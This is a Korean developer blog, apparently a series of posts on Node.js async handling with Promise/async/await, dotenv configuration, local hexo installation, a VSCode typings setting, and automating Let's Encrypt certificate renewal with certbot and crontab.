//route에서 크롤링 처리 결과를 가져와서 json으로 응답 처리해주는 함수
router.get('',(req, res, next) => {
res.json(crawling4Test());
});

function crawling4Test() {
.....
return someValue;
}

내 개념으로는 crawling4Test() 함수의 처리 결과가 끝나고 그 반환 값을 res.json() 에 전달하여 Json 응답이 처리되는 것으로 이해하고 있었다.
근데 아니었다.
먼저 crawling4Test() 함수의 로직도 함께 보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
function crawling4Test() {
let targetUrlReq = {
url:'https://target_url.com',
method: 'GET',
timeout: 5000,
}

let resultJson = {};

request(targetUrlReq, function(err,res,body) {
if (!err && res.statusCode === 200) {
const enc = charset(res.headers, body)
const i_result = iconv.decode(body, enc)
const resultHtml = cheerio.load(i_result);

const regex = /[^0-9]/g;
let targetA = resultHtml('div.target_a_tag).text().replace(regex, '');
let targetB = resultHtml('div.target_b_tag).text().replace(regex, '');

//체크용
console.log('targetA = ' + targetA)
console.log('targetB = ' + targetB)

resultJson['targetA'] = targetA;
resultJson['targetB'] = targetB;

resolve(resultJson);
}
else {
console.log(`error${res.statusCode}`);
resultJson['error'] = 'Some error';
reject(resultJson);
}
});

return resultJson;
}

위에서도 언급했지만 저것의 처리 결과는 {} 비어있는 딕셔너리 객체였다. (뭐 Map, Key-value 다양한 이름이지만 본문에서는 딕셔너리라 표현)
근데 또 신기한 것은 crawling4Test() 함수 안에서 console.log 를 통해 로그를 띄우면 값은 잘 들어있다.
내가 원한건 router.get() 함수에서 crawling4Test() 함수의 처리를 기다리고 응답이 완료되면 res.json() 로 결과를 내보내는 동기적 처리 방식을 기대했던 것.

그럼 원인은?

그냥 함수들이 비 동기로 실행되었다.

이 표현이 맞는지 모르겠지만 무튼 문맥상으로는 저렇게 표현했다.
내가 원하는 결과물은 동기처럼 보이는 순차적 비동기 뭐 좀 편한 표현으로 하나의 흐름으로 동작하는 비동기 였다.

그래서 찾아보니 node에서는 비동기를 하나의 흐름으로 처리하기 위해서는 promise 그리고 await, async 라는게 필요했다.


그래서 promise, await, async 이것들은 대충 감이 오는데…

Node를 공부하는 사람이라면 주요 특징점이나 문제점(?) 같은걸 많이 들었을 것이다.
그 중 하나가 콜백지옥 이다.
이거는 하도 설명이 많이 나와서 난 패스하겠다.
궁금하신 분은 검색하면 다른 블로그나 유튜브에 아주 자세히 설명되어 있으니 그곳을 참고해주시길…

무튼 promiseawait, async 이거 3가지만 잘 조합하면 깔끔하게 처리할 수 있다.
(초창기 버전에서는 엄청 복잡했다는데..시간이 지나니 점점 편해지는건 덤…)

promise에 대해 설명글 쓰면 또 엄청 길어지니까…간단하게 말하자면..

“A promise is an object that may produce a single value some time in the future”
하나의 요청 처리가 끝날때까지 기다리지 않고 다른 요청을 동시에 처리할수 있는 방식 ()

promise 소개 문구는 저렇다.
즉 비동기를 하겠단 이야기인데 콜백의 지옥을 파훼하기 위한 해법이라 하는데 얘도 사실 보면 장황하지 않을 뿐 비슷하다.
그래서 await, async 이거 두 개랑 같이 쓰면 그 때는 어느정도 파훼법이 완성된다.

이번 문제도 같다.
그럼 이걸 어떻게 해결했는지 한번 알아보도록 하자


처리한 방법

먼저 변경된 crawling4Test() 함수를 보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function crawling4Test() {
let targetUrlReq = {
url:'https://target_url.com',
method: 'GET',
timeout: 5000,
}

return new Promise((resolve, reject) => {
let resultJson = {};

request(targetUrlReq, function(err,res,body) {
if (!err && res.statusCode === 200) {
const enc = charset(res.headers, body)
const i_result = iconv.decode(body, enc)
const resultHtml = cheerio.load(i_result);

const regex = /[^0-9]/g;
let targetA = resultHtml('div.target_a_tag).text().replace(regex, '');
let targetB = resultHtml('div.target_b_tag).text().replace(regex, '');

resultJson['targetA'] = targetA;
resultJson['targetB'] = targetB;

resolve(resultJson);
}
else {
resultJson['error'] = 'Some error';
reject(resultJson);
}
});
});
}

일단 반환 값이 json 이 아닌 Promise로 바뀌었다.
그거 외에는 로직은 같지만 반환의 경우 resolve 와 reject 인데 이거는 어렵지 않다.
해당 값을 다시 또 가공하여 처리하는 함수를 호출해야 하는 경우 then() 으로 체이닝 해서 처리하면 되고, 예외가 생길 경우에도 마찬가지 이다.
이 글에서는 Promise에 대해 설명하는 공간은 아니기에 간략하게 여기까지만 알아보자.
(사실 너무 많은 자료가 많아서…다른 분들꺼 참고하자 <하단에 참고로 주렁주렁 달아 놓을 예정>)

이제는 그럼 저 함수를 호출하는 곳으로 가보자

1
2
3
router.get('',async (req, res, next) => {
res.json(await crawling4Test());
})

그냥 단어 몇 개가 사이에 박힌거 빼곤 없다.
await 키워드는 promise를 반환하는 함수 앞에 써주고, async 키워드는 await 선언이 된 곳에 써주면 된다.
이것도 여기서는 이렇게만 설명한다.
좀 더 자세한 글은…아시죠? ㅎㅎ

그래서 결국 저렇게 처리한 상태로 실행해보면 드디어 원하는 결과가 잘 나오게 된다.


결론 및 여담

Node는 뭔가 자바에서 온 사람을 당황하게(나만 그럴수 있다) 만드는 게 많은듯…
promise, async, await 에 대해 자세하게 알고 있음 좋을 것 같다.

엄청 딥하게 알면 더 좋겠지만…
사실 구현하는데 바쁘니… 어떤 식으로 동작하는지…그리고 어떻게 사용하면 ㅈ 되는지, 어떻게 사용해야 하는지만 알면 될 것 같다.

원리까지 설명하세요 이러는 건 면접에서나 하는거겠지?
근데 사실 이런거 면접에서 딥하게 묻는 것도 문제가 있는듯..

위에 언급한 대로 어떻게 사용하는지 정확한 이해도 체크만 하면 되는데 이거 동작 방법을 화이트보드에 설명해보세요 한다?
그건 면접자에게 질문을 잘못 던진 케이스 같다.

그런 질문 보다는 이걸 어떻게 썼을 때 잘못된 경우 있었냐? 이걸 어케 대처해야 하냐?
이게 옳바른 질문 아닐까? ㅎㅎ

내가 예전에 3년전인가… 면접다닐때…특히 스프링 자바는 진짜 되도 않는 면접 질문 많이 받았다.
네이버랑 카카오 전화면접에서는 GC에 대해 다 설명해보고 java8의 GC가 뭐가 틀린지 설명해보랜다…
아니 트러블슈팅 성향이나 프로젝트에서 겪은 장애 처리나 어떻게 구현했냐 질문보단 저런걸로…

아마 떨어트리려고 한거 같다는 생각이 많이 든 면접…(아님 내 정신승리일 수도…)

그냥..다시 이런거 찾아보고 공부하다가 옛날 생각나서 주절거려봤다.

참고

Hexo 설치 글을 보면…

이게 뭐 도움이 될지 모르겠지만…
나는 hexo 설치할 때 npm 이라는거 대충 알았지 자세히는 몰랐다.
그래서 거기 가이드에서 설치할 때 보면

npm install hexo -g

이렇게 글로벌로 설치하게 하는데 이건 내 생각에 좋은 방법은 아닌 것 같다. (나한테는?)

난 보통 어떤 프로젝트나 모듈이 프로젝트 내에서만 영향을 줘야지 공통으로 사용하는 곳까지 설치되어 거기서 끌어다 쓰는 형식을 안 좋아한다. (정말 싫어한다 -_-;;)

그래서 이번에 노드를 학습하면서 이렇게도 관리할 수 있겠구나 싶어서 공유한다.
뭐 다 아는 사실이겠지만…
hexo 사용할 디렉토리에서 아래의 명령어 대로 설치한다

npm install hexo

이렇게 -g 옵션만 빼면 로컬에서 사용할 수 있는데 여기서 한가지 더..
path를 등록해줘야 한다.

난 mac 에서 zsh를 사용하기에..
자신의 홈 디렉토리에 .zprofile 하나 만들어준다. (만약 있으면 맨 밑에 추가한다)

PATH=”$PATH:/Users/name/hexo_blog_path/node_modules/.bin”

당연한 이야기겠지만 위 경로는 자신에게 알맞는 곳을 찾되 node_modules 경로를 잡아주는게 포인트다.

위와 같이 추가 후 터미널에서 갱신해주면 끝

source .zprofile

참고

Hexo

Node에서 환경 변수를 사용하는 법? (설정 파일로 관리하기)

내가 Spring boot로 개발할 때는 application.yml에 설정을 넣고 개발을 했다.
그러다가 설정에 넣은 값에 변경이 필요할 경우 서버를 내렸다가 올려야 하는 문제가 생겼다.
(물론 이중화 되어 있다 하더라도 이렇게 하는건 비효율적..)

그래서 Spring config server를 사용해서 처리하였다.
Node.js는 이런 비슷한게 있나 찾아보다가…
아주 똑같지 않지만 설정 파일을 외부에 두고 사용할 수 있는 것을 찾았다.
(Node를 첨 다뤄보니 이런게 있는줄 몰랐다)

dotenv

먼저 설치를 진행한다.
(yarn 을 사용하였는데 npm도 똑같다)

yarn add dotenv

설정 내용을 선언

설정 파일을 만드는 형태는 두 가지가 있다.

여기서는 ES6 문법으로 설명한다. (CommonJS 는 간략하게만 표기..)

1. .env 파일 사용

프로젝트 내에 (보통은 자신 프로젝트 루트에) .env 파일을 생성한다
그리고 아래와 같이 설정을 기재한다.

1
2
3
4
5
#SERVER CONFIG

SERVER_PORT = 3001
SERVER_NAME = HELLO_SERVER
SERVER_DIS = 'HELLO_SERVER';

그리고 불러올 js에서는 아래와 같이 사용한다

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//CommonJS
//require("dotenv").config();

//ES6
import dotenv from "dotenv";
dotenv.config(); //1 -> config 호출

const port = process.env.SERVER_PORT;

function checkTest() {
console.log('SERVER_NAME = ' + process.env.SERVER_NAME);
console.log('SERVER_DES = ' + process.env.SERVER_DES);
}
...

주의할 점은 1번 config() 호출 전에 process.env를 사용하면 에러가 난다. (ES6, CommonJS 둘다 동일)
그리고 .env 파일의 경로가 다른 곳에 있는 경우 아래와 같이 config 함수를 수정하면 된다.

1
2
3
4
5
6
//CommonJS
//require("dotenv").config({path:'/your/env/path/.env.dev'});

//ES6
import dotenv from "dotenv";
dotenv.config({path:'/your/env/path/.env.dev'});

단 .env 파일이 존재하는 경우 위 내용은 적용이 안된다. (기존 .env 파일 따라감)

참고로 SERVER_DIS 출력해보면 SERVER_DES = ‘HELLO SERVER’; 와 같이 따옴표가 같이 출력된다.

1
2
3
4
5
6
7
8
9
10
11
12
13
console.log('SERVER_NAME = '  + typeof process.env.SERVER_NAME);
console.log('SERVER_DES = ' + typeof process.env.SERVER_DES);

console.log('SERVER_NAME = ' + process.env.SERVER_NAME);
console.log('SERVER_DES = ' + process.env.SERVER_DES);

///Output

SERVER_NAME = string
SERVER_NAME = string

SERVER_NAME = HELLO SERVER
SERVER_DES = 'HELLO SERVER';

2. config.js 등 js 파일로 사용

이건 .env 랑 비슷하지만 사용법은 약간 다른데 먼저 원하는 곳에 config.js 파일을 생성해주고 그곳에 설정을 담는다.

1
2
3
4
5
6
7
8
9
10
11
let configData;

configData = {
SERVER_PORT: 3001,
}

//ES6 방식
export default { configData };

//Common JS 방식
// module.exports = configData;

그리고 필요한 곳에서 다음과 같이 사용한다.

1
2
3
4
5
6
//ES6
import secondConfig from "./config.js"

....

console.log('process.env.PORT = ' + secondConfig.configData.SERVER_PORT)

만약 Babel을 사용한 ES6 사용을 한다면 js 확장자는 무시해도 되지만, 미 사용시 .js 확장자를 붙여줘야 한다.

그리고 저기 나온 예제에 있는 export 방식 말고도 여러 방식이 있다.
본문 하단의 링크를 참고하자.

참고

Import와 export

VSCode로 Node 개발을 진행하다가…

공부 겸 이번 프로젝트에 적용시키려고 Node를 공부하고 예제를 돌려보려던 중…
이상한 점을 발견했다.

express를 분명 yarn add express 이렇게 로컬 프로젝트 영역에 설치했음에도 VSCode에서 해당 모듈을 참고하는 곳은 엉뚱한 곳을 가리키고 있었다.

경로가 Mac OS 기준으로..

/User/YourHome/Library/Caches/typescript/YourVersion/node_modules/@types/….

이상해서 저기를 열었다가 지워도 똑같이 생성되고 계속 참조했다.
그래서 이곳저곳 찾다가…
아주 간단하게 해결하였다.

Solution

  1. VSCode의 환경설정을 들어가서 (Mac 기준 : Command + ,) 검색창에 아래의 키워드 검색
  2. disableAutomaticTypeAcquisition 이거 항목이 체크가 안되어 있을건데 체크해준다.
  3. 라이브러리 참조 영역을 삭제하고 VSCode 재시작 해본다.

참고

Let’sEncrypt 갱신이 불가능??

Let’sEncrypt를 적용하고 나서 갱신 테스트를 해보는데 이상한 에러를 마주했다.

1
2
3
4
5
Attempting to renew cert (dev.net) from /your/letsencrypt/path/renewal/dev.net.conf produced an unexpected error: The manual plugin is not working; there may be problems with your existing configuration.

The error was: PluginError('An authentication script must be provided with --manual-auth-hook when using the manual plugin non-interactively.'). Skipping.
All renewal attempts failed. The following certs could not be renewed:
/your/letsencrypt/path/live/dev.net/fullchain.pem (failure)

아 뭐가 이렇게 안되지? 라고 삽질했었으나…
이것저것 찾아본 결과 아래의 문제가 원인이었다

원인은 갱신을 auto 모드가 아닌 manual 모드로 진행한 문제

원인을 제공했던 명령어는 다음과 같다

1
sudo certbot certonly --manual --preferred-challenges=dns --email test@test.com --server https://acme-v02.api.letsencrypt.org/directory --agree-tos --debug --no-bootstrap -d dev.net

메뉴얼 모드로 만든 인증서는 자동으로 갱신이 불가능하다.
그래서 난…다시 오토 모드로 새로 만들었다…

이 문제를 겪으신 분은 다시 오토 모드로 빠르게 시작하는걸…추천한다..
난 어떻게 해보려다가 1시간 말아먹었다…

Let’sEncrypt 유효기간?

혹시 아직 Let’sEncrypt를 설치하지 않으신 분이라면 Let’sEncrypt 설치후 AWS에 적용하기 에 설치법을 참고하시길 바란다

Let’sEncrypt는 무료인 대신에 인증서를 주기적으로 인증해줘야 한다
그래서 보통 이것을 크론탭으로 처리해서 편하게 간다.

경각심(?)을 위해 직접 갱신하는 분(?)도 봤지만…자동으로 하는게 정신 건강에 좋다..
물론 LetsEncrypt 팀에서 메일을 주기도 한다. (만료 10일전, 당일) 이렇게?

저번에 크론탭으로 해뒀는데 뭔가 잘못 건들여서 실행이 안되어 이번에 다시 셋팅하게 되었고 내용을 정리해서 올려본다.

Let’sEncrypt Crontab 적용해보기

갱신 기간 여부 확인

LetsEncrypt 인증서는 90일 유효하며, 만료 20일 전부터 갱신이 가능하다
갱신이 가능한지 여부는 아래의 명령어를 통해 확인이 가능하다

sudo certbot certificates

1
2
3
4
5
6
7
8
9
10
11
12
13
ubuntu@:~$ sudo certbot certificates
Saving debug log to /your/letsencrypt/path/letsencrypt.log

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Found the following certs:
Certificate Name: dev.net
Serial Number: 22233344URSerialNumber
Key Type: RSA
Domains: dev.net
Expiry Date: 2123-12-31 00:00:00+00:00 (VALID: 89 days)
Certificate Path: /your/letsencrypt/path/fullchain.pem
Private Key Path: /your/letsencrypt/path/privkey.pem
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

인증 기간이 20일 이하면 가능하다.

갱신 여부 확인

먼저 갱신이 제대로 되는지 테스트를 해보려면 아래의 명령어를 수행해본다

sudo certbot renew –pre-hook “service nginx stop” –post-hook “service nginx start” –dry-run

미들웨어는 자신이 맞는거를 사용하면 된다 (필자는 nginx)
뒤에 –dry-run 이 테스트를 수행하게 해주는 옵션이다.

1
2
3
4
5
6
7
8
9
10
11
12
ubuntu@:~$ sudo certbot renew --pre-hook "service nginx stop" --post-hook "service nginx start" --dry-run
Saving debug log to /your/letsencrypt/path/letsencrypt.log

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Processing /your/letsencrypt/path/renewal/dev.net.conf
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Simulating renewal of an existing certificate for dev.net

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Congratulations, all simulated renewals succeeded:
/your/letsencrypt/path/live/dev.net/fullchain.pem (success)
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

위와 같이 축하한다고 뜨면 인증하는데 문제가 없다는 뜻이다.

PS : 만약 인증이 안된다고 뜨고 에러에 다음과 같은 구문(produced an unexpected error The manual plugin is not working) 이 있는 경우 이곳을 참고하자.

갱신 처리 (With crontab)

먼저 크론탭을 열어 작성해주고…

crontab -e

만약 크론탭이 먼저 선등록 되어 있는지 확인하려면..

cat /etc/crontab -> 등록된 크론탭 확인

먼저 난 3개월마다 매 1일에 스크립트를 수행하게 해줬다.
크론탭 명령어는 아래와 같이 작성했다.

1 0 1 1-12/3 * sudo certbot renew –pre-hook “service nginx stop” –post-hook “service nginx start” >> /mylog/letsencrypt/log/$(date ‘+%Y%m%d’).log

그리고 마지막으로 크론탭을 재시작 해준다.

sudo service cron restart

그럼 이제 정상적으로 등록이 된 것이다.